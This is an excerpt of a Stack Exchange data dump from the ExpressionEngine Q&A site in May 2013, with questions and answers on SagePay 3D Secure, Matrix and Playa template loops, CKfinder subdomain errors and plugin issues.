  <row Id="10328" PostTypeId="1" CreationDate="2013-05-13T10:30:28.283" Score="1" ViewCount="46" Body="&lt;p&gt;My client has asked to integrate 3D Secure with their Exp:resso Store installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been searching and found that in the change log this has been added for SagePay in the UK. This is who the client is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changelog: &lt;a href=&quot;https://exp-resso.com/docs/store/release_notes.html#store_150&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/release_notes.html#store_150&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find anywhere in the docs how to implement this. Does anyone know how? Is it a setting on SagePay side? Or is it a parameter I need to add in the checkout form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-13T10:54:28.883" Title="Exp:resso Store 3D Secure Integration" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10329" PostTypeId="1" CreationDate="2013-05-13T10:38:40.263" Score="3" ViewCount="627" Body="&lt;p&gt;Due to high traffic, we had to spread our website over two servers and a load balancer on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The master and slave servers are synced one way, from master to slave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We set a subdomain (cms.domain.com) to point to the master server just for CMS purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All seems to work fine-ish, except CKfinder and CKeditor when uploading images as the frame that they open still points to www.domain.com and that throws the following error on Chrome:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unsafe JavaScript attempt to access frame with URL&#xA;  &lt;a href=&quot;http://cms.domain.com/system/index.php?S=2cefbd42dfa263be59dd3f5a725939749a29de90&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=4&quot; rel=&quot;nofollow&quot;&gt;http://cms.domain.com/system/index.php?S=2cefbd42dfa263be59dd3f5a725939749a29de90&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=4&lt;/a&gt;&#xA;  from frame with URL&#xA;  &lt;a href=&quot;http://www.domain.com/themes/third_party/wygwam/lib/ckfinder/core/c&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/themes/third_party/wygwam/lib/ckfinder/core/c&lt;/a&gt;…pload&amp;amp;type=Images&amp;amp;id=1&amp;amp;CKEditor=field_id_345&amp;amp;CKEditorFuncNum=4&amp;amp;langCode=en.&#xA;  Domains, protocols and ports must match.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, I read on the Wygwam changelog that on version 1.1.2 there was this fix:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed file browsing and uploading for EE installs with relative Fieldtype Folder URLs and/or varying CP subdomains&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has this anything to do with what I'm trying to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there any way I can make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2013-11-26T16:41:26.233" Title="CKfinder / CKeditor / Wygwam on a CMS in a subdomain" Tags="|pixelandtonic|wygwam|subdomain|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10330" PostTypeId="2" ParentId="10328" CreationDate="2013-05-13T10:54:28.883" Score="1" Body="&lt;p&gt;Got it! The setting is in SagePay itself: Settings &gt; 3D Secure &gt; Turn On and set rules.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-13T10:54:28.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10331" PostTypeId="2" ParentId="10321" CreationDate="2013-05-13T11:37:37.930" Score="1" Body="&lt;p&gt;using my bootstrapped config file &lt;a href=&quot;http://d.pr/n/tTcT&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/n/tTcT&lt;/a&gt; I create a global variable for the particular environment I'm working in and then in my template code I do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if gv_env == 'prod'}&#xA;my analytics tracking code&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-05-13T11:37:37.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10332" PostTypeId="1" CreationDate="2013-05-13T13:31:29.447" Score="2" ViewCount="909" Body="&lt;p&gt;Get the following error when clicking on Add-Ons/Fieldtypes/Matrix. Can anyone help? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1060&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate column name 'var_id'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALTER TABLE exp_matrix_cols ADD var_id INT(6) UNSIGNED AFTER field_id, ADD INDEX (var_id)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/matrix/ft.matrix.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 467&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated EE to 2.6.1 and updated all Add-ons I have installed (left Matrix for last). Tried updating Matrix to 2.5.5 and now get the following error when trying to edit any entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1054&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unknown column 'is_draft' in 'where clause'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT row_id, col_id_21, col_id_22, col_id_28 FROM exp_matrix_data WHERE field_id = 55 AND entry_id = 75 AND is_draft = 0 ORDER BY row_order ASC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/matrix/ft.matrix.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 2912&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix 2.4.3 is working except that I can't add license key or update.&lt;/p&gt;&#xA;" OwnerUserId="1477" LastEditorUserId="1477" LastEditDate="2013-05-13T15:54:39.697" LastActivityDate="2014-02-11T10:07:27.630" Title="Database Error (Matrix 2.4.3)" Tags="|matrix|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10333" PostTypeId="1" AcceptedAnswerId="10335" CreationDate="2013-05-13T14:45:58.513" Score="2" ViewCount="112" Body="&lt;p&gt;I have a Channel Entry field that contains a table. I need the caption to contain the title. I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;caption&amp;gt;{title}&amp;lt;/caption&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thinking it would work, given that it's within the scope of the Entry, but that didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would I need to write?&lt;/p&gt;&#xA;" OwnerUserId="1479" LastActivityDate="2013-05-13T15:25:37.527" Title="Using the Entry title variable in an Channel Entry field" Tags="|channel-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10334" PostTypeId="1" AcceptedAnswerId="10336" CreationDate="2013-05-13T15:18:39.690" Score="0" ViewCount="600" Body="&lt;p&gt;I am using zurb foundation and a pixelandtonic matrix field.&#xA;I want to do a new html row for every 3 matrix rows i.e&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {!-- something needs to wrap round this to say for every 3 rows do a new one of these&#xA; &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            {cf_about_us_biographies}&#xA;            &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{cf_about_us_bio_photo}&quot;&amp;gt;&#xA;                &amp;lt;ul class=&quot;accordion&quot;&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;div class=&quot;title&quot;&amp;gt;&#xA;                            &amp;lt;h5&amp;gt;{cf_about_us_bio_name}&amp;lt;br&amp;gt;&amp;lt;span&amp;gt;{cf_about_us_bio_title}&amp;lt;/span&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                            {cf_about_us_bio_biog}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/cf_about_us_biographies}&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My brain is fried, i want someone to help me as what i have been doing is stupid!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-05-13T18:06:16.340" Title="html structure conditional on matrix row counts" Tags="|matrix|pixelandtonic|html|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10335" PostTypeId="2" ParentId="10333" CreationDate="2013-05-13T15:25:37.527" Score="0" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://github.com/EllisLab/Allow-Eecode&quot; rel=&quot;nofollow&quot;&gt;Allow EE code plugin&lt;/a&gt; to... allow EE code within your fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd do something like this in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:allow_eecode}&#xA;  {your_custom_field}&#xA;{/exp:allow_eecode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your custom field has &lt;code&gt;{title}&lt;/code&gt; in it, it should be processed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you need to be careful with this because they could potentially enter any EE code.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-05-13T15:25:37.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10336" PostTypeId="2" ParentId="10334" CreationDate="2013-05-13T15:40:47.940" Score="4" Body="&lt;p&gt;Is this not a case for using {switch=&quot;||do-thing&quot;}?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{switch='&amp;lt;div class=&quot;row&quot;&amp;gt;||'}&#xA;        {cf_about_us_biographies}&#xA;        &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{cf_about_us_bio_photo}&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;accordion&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;div class=&quot;title&quot;&amp;gt;&#xA;                        &amp;lt;h5&amp;gt;{cf_about_us_bio_name}&amp;lt;br&amp;gt;&amp;lt;span&amp;gt;{cf_about_us_bio_title}&amp;lt;/span&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                        {cf_about_us_bio_biog}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/cf_about_us_biographies}&#xA; {switch='||&amp;lt;/div&amp;gt;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue there though is if you have a number of items that isn't divisible by 3. From memory there's a useful plugin for handling this but I can't recall its name off the top of my head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try looking here &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7024/output-matrix-rows-in-sets-of-two&quot;&gt;Output matrix rows in sets of two&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-05-13T15:40:47.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10337" PostTypeId="1" AcceptedAnswerId="10414" CreationDate="2013-05-13T15:53:13.050" Score="0" ViewCount="1141" Body="&lt;p&gt;I'm developing payment gateway for the BrilliantRetail and I need to create IPN callback script which will change BR orders statuses and return response data to the IPN-gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm trying to find a solution to get EE instance but produce no output after calling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My version of EE is 2.3.1, but I hope to find universal solution for other version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a very-very rough way, to put IPN-callback script into the webroot, include index.php and catch output buffer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;require_once( 'index.php' );&#xA;ob_end_clean();&#xA;$ee = get_instance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want to use this solution. I must be sure there are no random output will be returned and no templates will be used at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there are any ways to get EE instance in than manner by using hooks or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="818" LastActivityDate="2013-11-07T19:47:08.800" Title="Get an EE instance without any output" Tags="|ee2|templates|hook|brilliantretail|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10339" PostTypeId="2" ParentId="7606" CreationDate="2013-05-13T16:04:19.263" Score="0" Body="&lt;p&gt;finally it seems i found the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i've done.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I create a Channel Material - Product.&#xA;In that i put all the material i need, with this field:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title (name of material);&lt;/li&gt;&#xA;&lt;li&gt;Material price (price-per-volume);&lt;/li&gt;&#xA;&lt;li&gt;Material handling fee (fixed-fee-per-material);&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then i create a field in the product channel field&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I choose Playa as fieldtype, with multiselection for the material - product channel&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the view-product template i put this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form  &#xA;entry_id=&quot;{entry_id}&quot;&#xA;allow_user_price=&quot;yes&quot; &#xA;no_tax=&quot;{no_tax}&quot;&#xA;no_shipping = &quot;{no_shipping}&quot;&#xA;return=&quot;store/carrello&quot;}&#xA;&#xA;&amp;lt;select name=&quot;price&quot;&amp;gt;&#xA;   {exp:playa:children field=&quot;selezione_materiale&quot;}&#xA;      &amp;lt;option value=&quot;{exp:cartthrob:arithmetic prefix=&quot;&quot; dec_point=&quot;.&quot; decimals=&quot;2&quot; expression=&quot;{embed:volume} * {material_price} + {production_fee}&quot;}&quot;&amp;gt;{title} - {exp:cartthrob:arithmetic prefix=&quot;€ &quot; decimals=&quot;2&quot; expression=&quot;{embed:volume} * {material_price} + {production_fee}&quot;}&amp;lt;/option&amp;gt;&#xA;    {/exp:playa:children}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary btn-block&quot;&amp;gt;Acquista&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do you think?&#xA;Let me know.&lt;/p&gt;&#xA;" OwnerUserId="1047" LastActivityDate="2013-05-13T16:04:19.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10340" PostTypeId="2" ParentId="10332" CreationDate="2013-05-13T16:05:22.937" Score="3" Body="&lt;p&gt;Upload all the files of Matrix 2.5.5. Then go to Add-Ons &gt; Fieldtypes &gt; Matrix to trigger &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/installation.html&quot; rel=&quot;nofollow&quot;&gt;its update script&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-13T16:05:22.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10341" PostTypeId="2" ParentId="10334" CreationDate="2013-05-13T17:12:30.180" Score="1" Body="&lt;p&gt;@JohnWBaxter and @foamcow - there's actually a solution for that if you don't want to have to do calculations.  The basic idea is that you want to close the row, even if the number of entries is not exactly divisible by three.  So you need to get a little more clever with the closing.  Yes, use switch, but use it conditionally (and contain all the divs within the matrix so you don't have the wrapping markup appearing even if there are no entries):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;    {switch=&quot;&amp;lt;div class='row'&amp;gt;||&quot;}&#xA;       YOUR PER ENTRY PARKUP&#xA;    {if row_count == total_rows}&amp;lt;/div&amp;gt;{/if}&#xA;    {if row_count != total_rows}{switch=&quot;||&amp;lt;/div&amp;gt;&quot;}{/if}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you only use the switch var as given in the first example/answer, your layout will be thrown off if you don't have a set of entries divisible by exactly 3.  With my example, you are fine either way, because the switch interval is applied only when the entry is not the last entry, which when ensures that it applies at the required interval but not for the last one - the last one is applied OUTSIDE of the switch interval because there is always a last entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-13T18:06:16.340" LastActivityDate="2013-05-13T18:06:16.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10342" PostTypeId="1" CreationDate="2013-05-13T17:30:24.123" Score="1" ViewCount="192" Body="&lt;p&gt;I am using new relic to watch my EE install and am seeing a ton of slowness around this call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also using &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/custom-system-messages&lt;/a&gt;  - and am not sure if the issue is coming from that plugin or the EE system messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this before? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;System_­messages_­ext­:­:extend_­output_­class&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C3lyz.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lSvcP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="635" LastEditorUserId="55" LastEditDate="2013-05-14T21:01:02.103" LastActivityDate="2014-03-18T02:21:07.683" Title="System Messages ext issue" Tags="|error|newrelic|custom-system-messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10343" PostTypeId="1" CreationDate="2013-05-13T18:17:23.520" Score="3" ViewCount="345" Body="&lt;p&gt;I've seen this question get asked a few times, sometimes in different contexts or within different questions pertaining to particular add-ons, but I'm looking for a general solution that can be applied broadly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the various frameworks - Zurb Foundation being one of my favorites - or even if you roll your own, there is often a &quot;wrapper&quot; class that plays a role in positioning and sizing of the container elements inside it - such as your columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my three columns are each an entry and I have six entries to display, how do I group my entries into threes with the wrapper class around them with a single loop (entries, matrix or playa)? &lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-13T18:30:59.620" Title="Adding wrapper markup at intervals within loops (entries, matrix, playa, etc)" Tags="|loop|interval|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10344" PostTypeId="2" ParentId="10343" CreationDate="2013-05-13T18:30:59.620" Score="4" Body="&lt;p&gt;I see this one asked a lot and my solution seems to work very well so I thought I would abstract it and share it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually a bit easier than you might think, as long as your loop supports the native SWITCH variable - the native channel entries loop does, as does Matrix, Playa, Low Reorder and others, I'm sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch is a terrific way to insert &quot;something&quot; on an interval basis.  All you have to do is get clever about how it's used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the above example, my desired final markup might be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;        My entry content for column one&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;        My entry content for column two&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;        My entry content for column three&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;        My entry content for column four&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;        My entry content for column five&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;        My entry content for column six&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so here's how i would do it (commented so you can see what's going on)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;columns&quot; limit=&quot;6&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;whatever|not|needed&quot; dynamic=&quot;no&quot;}&#xA;    {switch=&quot;&amp;lt;div class='row'&amp;gt;||&quot;}{!-- open a new row at intervals of three entries --}&#xA;    &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;        My entry content for column {count}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {if count != total_results}{switch=&quot;||&amp;lt;/div&amp;gt;&quot;}{/if}{!-- close the row at intervals of three as long as the current entry is not the last in the loop --}&#xA;    {if count == total_results}&amp;lt;/div&amp;gt;{/if}{!-- always close the open row after the last entry --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As indicated, this works within any loop that supports the SWITCH variable - but the variables for count and total results vary according to the loop requirements.  Matrix, for example, uses row_count and total_count in place of count and total_results respectively.  Playa uses the same as the entries loop, as does low_reorder:entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does NOT, however, compensate for formatting issues that would arise with the framework is the number of items in the loop does not divide evenly.  For example, if my entries loop above contained only 5 items, the Zurb Foundation framework would position the fourth item to the left and the fifth item to the far right, since the fifth would now be the last column in its row.  At least that's the default behaviour.  But you can also use the switch variable to add a class to each column and then target it accordingly with other conditional CSS styling as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-13T18:30:59.620" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10345" PostTypeId="2" ParentId="10316" CreationDate="2013-05-13T19:47:34.140" Score="0" Body="&lt;p&gt;I managed to fix this using 'join'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $entries = $this-&amp;gt;_EE-&amp;gt;db-&amp;gt;select('ct.entry_id AS entry_id,&#xA;                                           ct.channel_id AS channel_id, &#xA;                                           ct.title AS title, &#xA;                                           ct.entry_date AS entry_date, &#xA;                                           ct.status AS status, &#xA;                                           cd.field_id_52 AS total, &#xA;                                           cd.field_id_67 AS first_name, &#xA;                                           cd.field_id_73 AS surname')&#xA;                                 -&amp;gt;from('channel_titles ct')&#xA;                                 -&amp;gt;join('channel_data cd','ct.entry_id = cd.entry_id', 'inner')&#xA;                                 -&amp;gt;where('ct.channel_id', $channel_id)&#xA;                                 -&amp;gt;order_by('ct.entry_date DESC')&#xA;                                 -&amp;gt;limit($settings-&amp;gt;limit)&#xA;                                 -&amp;gt;get();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-05-13T19:47:34.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10346" PostTypeId="1" AcceptedAnswerId="10436" CreationDate="2013-05-13T19:54:06.877" Score="0" ViewCount="793" Body="&lt;p&gt;Sorry, I'm having a little brain freeze here and am hoping for some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;my-div&quot;&amp;gt;&#xA;    {exp:playa:children channel=&quot;somechannel&quot;}&#xA;&#xA;        {matrix_field}&#xA;&#xA;            {if field_row_index == 0}&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;            {/if}&#xA;&#xA;            {playa_field}                                   &#xA;&#xA;                playa vars&#xA;&#xA;            {/playa_field}&#xA;&#xA;            {if row_count == total_rows}&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;        {/matrix_field}&#xA;&#xA;    {/exp:playa:children}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out how to get my-div (opening and closing div) inside the exp:playa:children tag but, to only display once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I want my-div to wrap all the playa:children IF and when any exist but, to not repeat over and over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently what I have works fine except if there isn't any data then my-div still shows up which is not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-05-18T00:39:26.443" LastActivityDate="2013-05-18T00:39:26.443" Title="Matrix Playa Count Conditionals issues" Tags="|matrix|playa|conditionals|pixelandtonic|count|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10348" PostTypeId="2" ParentId="10346" CreationDate="2013-05-13T20:39:23.590" Score="1" Body="&lt;p&gt;How about:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:playa:children channel=&quot;somechannel&quot;}&#xA;{if count == &quot;1&quot;}&amp;lt;div class=&quot;my-div&quot;&amp;gt;{/if}&#xA;&#xA;        {matrix_field}&#xA;&#xA;            {if field_row_index == 0}&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;            {/if}&#xA;&#xA;            {playa_field}                                   &#xA;&#xA;                playa vars&#xA;&#xA;            {/playa_field}&#xA;&#xA;            {if row_count == total_rows}&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;        {/matrix_field}&#xA;&#xA;{if count == total_results}&amp;lt;/div&amp;gt;{/if}&#xA;    {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should work for you.... if you're inside a channel entries tag, however, you'll need to utilize var_prefix to make it specific to the playa tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sense?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-05-13T20:39:23.590" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10349" PostTypeId="1" AcceptedAnswerId="10350" CreationDate="2013-05-13T20:57:58.693" Score="0" ViewCount="95" Body="&lt;p&gt;Is there anyway to allow HTML into the 'Category Description' field or better add a WYSIWYG editor to this field? Any input would be a big help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X3fPo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-05-13T21:06:18.650" Title="Category Description" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10350" PostTypeId="2" ParentId="10349" CreationDate="2013-05-13T21:06:18.650" Score="2" Body="&lt;p&gt;I know DevDemon's &lt;a href=&quot;http://www.devdemon.com/editor&quot; rel=&quot;nofollow&quot;&gt;Editor&lt;/a&gt; adds WSYIWYG capabilities to the categories page. There may be other third party addon's that do this also, this is the first that comes to mind.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-13T21:06:18.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
